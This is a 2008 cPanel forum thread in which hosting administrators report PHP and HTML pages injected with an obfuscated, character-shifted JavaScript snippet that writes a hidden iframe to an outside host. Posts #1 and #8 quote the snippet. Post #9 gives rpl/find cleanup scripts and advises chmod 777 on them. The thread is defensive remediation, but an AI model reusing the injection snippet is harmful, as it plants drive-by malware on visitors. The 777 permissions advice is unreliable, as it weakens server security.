Community Forums
Connect with us on LinkedIn
+ Reply to Thread
Results 1 to 14 of 14
  1. #1
    Member ManojB's Avatar
    Join Date
    Mar 2005
    Location
    pune
    Posts
    80

    Default Website Hacked.

    Hello,

    I am getting the following error message on my website :

    Parse error: syntax error, unexpected '<' in
    I have investigated and found that all my php pages contains the following tags :

    <script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result$
    for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
    document.write(result); </script>
    </body></html>
    It seems all my files has been corrupted, as I have manually removed this tags but still same problem. How can I overcome this problem. (suPHP has been disabled on my server)
    Last edited by ManojB; 10-19-2008 at 10:42 PM.
    Regards,
    ManojB.

  2. #2
    Member
    Join Date
    Jan 2008
    Posts
    11

    Default

    probably a virus on your computer causes this problem. You should run virus scan on your own pc. This virus inserts this code on your webpages via FTP. Best solution is formatting and reinstalling windows on your PC, changing your cpanel password and then manually cleaning these codes.

  3. #3
    Member
    Join Date
    May 2003
    Posts
    21

    Default

    This is a cpanel hack of sometype. it is in all the domains, and this code is also within the /cpapachebuild/buildapache/mhash/ directories too. It is ALL over the place. The whole server is infected with this.

  4. #4
    Member ManojB's Avatar
    Join Date
    Mar 2005
    Location
    pune
    Posts
    80

    Default

    It seems its problem with the latest cpanel release as my phpmyadmin was also infected.
    Regards,
    ManojB.

  5. #5
    Member
    Join Date
    May 2003
    Posts
    21

    Default

    I spent almost 13 hours today figuring out a way to clean it up.

    Lots of Shell and SED scripting!

    Very frustrating.

  6. #6
    Member ManojB's Avatar
    Join Date
    Mar 2005
    Location
    pune
    Posts
    80

    Default

    Hello Oanielsen,

    Can you please let me know how you have removed this from your files.
    Regards,
    ManojB.

  7. #7
    Member
    Join Date
    Aug 2002
    Posts
    1,120

    Default

    What was the ownership and permissions of the files that were infected?

    If the files were owned by root and had permissions of 0644, then you could be looking at a root level compromise. If root has been compromised you need to do a full system restore.

  8. #8
    Registered User
    Join Date
    Nov 2003
    Location
    Floripa - Brazil
    Posts
    69

    Default

    Hi,
    I am with the same problem, one server on LT was hacked ( could be cause LT's data base was hacked, again?) ?

    Anyone know how to strip the malicious tags?

    I found this script: http://forums.cpanel.net/showpost.ph...&postcount=241

    But, what should be the regex to match this malicous code:

    <html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
    for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
    document.write(result); </script>
    </html> </body>

  9. #9
    Member
    Join Date
    May 2003
    Posts
    21

    Default

    All the servers we had compromised were at LT also. It was on servers we had never had a trouble ticket on, so it was not because of un-enrypted e-mail. This was definately a direct database hack on the part LT. Make sure you change all your passwords on Servers at LT ASAP.

    Here is the fix we used.

    1. Download and install RPL http://www.laffeycomputer.com/rpl.html
    2. There are 2 script files we had to create.
    First Script we named fixhack.sh has the following code in it.
    Code:
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source ="                                                =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1                                                ?=0jgsbnf?"; var result = "";' ''  *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'for(var i=0;i<source.length;i++) r                                                esult+=String.fromCharCode(source.charCodeAt(i)-1);' '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'document.write(result); </script>'                                                 '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '</html> </body> <html> <body><scri                                                pt>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu                                                >2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";' '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source ="                                                =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1                                                ?=0jgsbnf?"; var result = "";' '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'document.write(result); </script>'                                                 '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '</html> </body> </body>' '' *
    rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source ="                                                =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1                                                ?=0jgsbnf?"; var result = "";' '' *
    What that code is doing is running the RPL command for each of the lines you are wanting to find, and replacing the specified text with a NULL.

    The next shell script executes the previous script and recurses through all the directories. EAch of these scripts we ran from the /home directory. Once you download RPL you will notice that it has a Recursive option, but it will bring your server to its knees, so it is better to use this script to do the recursion for you. We named the following piece of code recursehack.sh

    Code:
    find /home -type d | while read DIRNAME
    do
    cd $DIRNAME
    /home/fixhack.sh
    done
    3. Make sure you CHMOD these scripts to 777
    4. Execute ./recursehack.sh from the /home directory
    5. We found that some of the things in the Cpanel directories were also infected. So, you need to run /scripts/upcp --force
    6. You will also find a new directory at the root of your server called something like "pons" or something like that. Do an ls -ltr at the root of your server and you will see a new directory there. Within this directory is a file called "framer.htm" which is the code that was injected into each page, and another script file that did all the dirty work.

    Hope this helps someone else. It definately kicked our *sses for a few hours.

  10. #10
    Registered User
    Join Date
    Nov 2003
    Location
    Floripa - Brazil
    Posts
    69

    Default

    oanielsen,

    thank you very much to share this script....
    I'll run this right now

    Our problem was exactly the same, root had the pons's folder with the same content.

    I'll move my servers from LT ASAP. This kind of trouble don´t justify the raised prices :-(

  11. #11
    Member
    Join Date
    Sep 2004
    Location
    inside a catfish
    Posts
    963
    cPanel/Enkompass Access Level

    Root Administrator

    Default

    Who is LT?

  12. #12
    Registered User
    Join Date
    Nov 2003
    Location
    Floripa - Brazil
    Posts
    69

    Default

    Layeredtech.com

    Their database was hacked:

    http://www.webhostingtalk.com/showth...ht=layeredtech

  13. #13
    BND
    BND is offline
    Registered User
    Join Date
    Nov 2008
    Posts
    1

    Exclamation

    How to install this rpl? Please urgently. My 300 sites was hacked.

  14. #14
    Member
    Join Date
    Jun 2006
    Posts
    65

    Default

    Quote Originally Posted by BND View Post
    How to install this rpl? Please urgently. My 300 sites was hacked.
    Suggest that you check first if your server is rooted. If it is, you need OS reload and recover all your sites from backup.

Similar Threads & Tags
Similar threads

  1. Website hacked. how to restore data
    By yogesh_gamer in forum New User Questions
    Replies: 0
    Last Post: 04-30-2011, 03:15 AM
  2. Website Hacked.
    By ManojB in forum cPanel and WHM Discussions
    Replies: 13
    Last Post: 11-11-2008, 04:05 PM
  3. Replies: 20
    Last Post: 06-17-2008, 11:59 PM
  4. Website Hacked
    By KenCo in forum Data Protection
    Replies: 23
    Last Post: 07-16-2007, 05:40 PM
  5. a website has been hacked
    By Bert W in forum cPanel and WHM Discussions
    Replies: 5
    Last Post: 06-24-2003, 07:52 AM
Linkedin       Facebook       Twitter       RSS       Flickr       YouTube